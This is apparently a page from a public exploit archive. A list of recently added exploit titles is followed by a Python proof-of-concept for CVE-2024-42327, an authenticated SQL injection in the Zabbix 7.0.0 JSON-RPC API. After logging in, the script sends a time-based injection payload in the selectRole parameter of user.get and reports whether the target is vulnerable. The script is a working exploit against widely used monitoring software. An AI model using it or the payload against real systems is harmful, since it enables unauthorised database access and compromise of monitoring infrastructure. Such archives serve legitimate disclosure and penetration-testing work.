7ebfc36557
24 changes to exploits/shellcodes/ghdb ASUS ASMB8 iKVM 1.14.51 - Remote Code Execution (RCE) Ruckus IoT Controller 1.7.1.0 - Undocumented Backdoor Account Dell EMC iDRAC7/iDRAC8 2.52.52.52 - Remote Code Execution (RCE) FLIR AX8 1.46.16 - Remote Command Injection ABB Cylon Aspect 3.08.02 - Cross-Site Request Forgery (CSRF) Ethercreative Logs 3.0.3 - Path Traversal Garage Management System 1.0 (categoriesName) - Stored XSS Nagios Log Server 2024R1.3.1 - Stored XSS ProConf 6.0 - Insecure Direct Object Reference (IDOR) Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS) WooCommerce Customers Manager 29.4 - Post-Authenticated SQL Injection ABB Cylon Aspect 3.08.03 (webServerDeviceLabelUpdate.php) - File Write DoS ABB Cylon Aspect 4.00.00 (factorySaved.php) - Unauthenticated XSS ABB Cylon Aspect 4.00.00 (factorySetSerialNum.php) - Remote Code Execution Car Rental Project 1.0 - Remote Code Execution KodExplorer 4.52 - Open Redirect NagVis 1.9.33 - Arbitrary File Read phpMyFAQ 3.1.7 - Reflected Cross-Site Scripting (XSS) phpMyFAQ 3.2.10 - Unintended File Download Triggered by Embedded Frames Smart Manager 8.27.0 - Post-Authenticated SQL Injection Zabbix 7.0.0 - SQL Injection Hugging Face Transformers MobileViTV2 4.41.1 - Remote Code Execution (RCE) Fortinet FortiOS_ FortiProxy_ and FortiSwitchManager 7.2.0 - Authentication bypass WebMethods Integration Server 10.15.0.0000-0092 - Improper Access on Login Page
63 lines
No EOL
1.9 KiB
Python
Executable file
63 lines
No EOL
1.9 KiB
Python
Executable file
# Exploit Title: Zabbix 7.0.0 - SQL Injection
|
|
# Date: 06/12/2024
|
|
# Exploit Author: Leandro Dias Barata @m4nb4
|
|
# Vendor Homepage: https://www.zabbix.com/
|
|
# Software Link: https://support.zabbix.com/browse/ZBX-25623
|
|
# Version: 6.0.0 - 6.0.31 / 6.0.32rc1 6.4.0 - 6.4.16 / 6.4.17rc1 7.0.0
|
|
# Tested on: Kali Linux kali-linux-2024.3
|
|
# CVE: CVE-2024-42327
|
|
|
|
import requests
|
|
import argparse
|
|
|
|
HEADERS = {"Content-Type": "application/json"}
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="CHECK for CVE-2024-42327")
|
|
parser.add_argument("-t", "--target", required=True, help="API URL")
|
|
parser.add_argument("-u", "--username", required=True, help="Username")
|
|
parser.add_argument("-p", "--password", required=True, help="Password")
|
|
|
|
args = parser.parse_args()
|
|
|
|
url = f"{args.target.rstrip('/')}/api_jsonrpc.php"
|
|
|
|
# Login to get the token
|
|
login_data = {
|
|
"jsonrpc": "2.0",
|
|
"method": "user.login",
|
|
"params": {"username": args.username, "password": args.password},
|
|
"id": 1,
|
|
"auth": None
|
|
}
|
|
|
|
try:
|
|
login_response = requests.post(url, json=login_data, headers=HEADERS)
|
|
login_response.raise_for_status()
|
|
auth_token = login_response.json().get("result")
|
|
|
|
# Simple SQLi test
|
|
data = {
|
|
"jsonrpc": "2.0",
|
|
"method": "user.get",
|
|
"params": {
|
|
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
|
|
"userids": ["1", "2"]
|
|
},
|
|
"id": 1,
|
|
"auth": auth_token
|
|
}
|
|
|
|
test_response = requests.post(url, json=data, headers=HEADERS)
|
|
test_response.raise_for_status()
|
|
|
|
if "error" in test_response.text:
|
|
print("[-] NOT VULNERABLE.")
|
|
else:
|
|
print("[!] VULNERABLE.")
|
|
|
|
except requests.RequestException as e:
|
|
print(f"[!] Request error: {e}")
|
|
|
|
if __name__ == "__main__":
|
|
main() |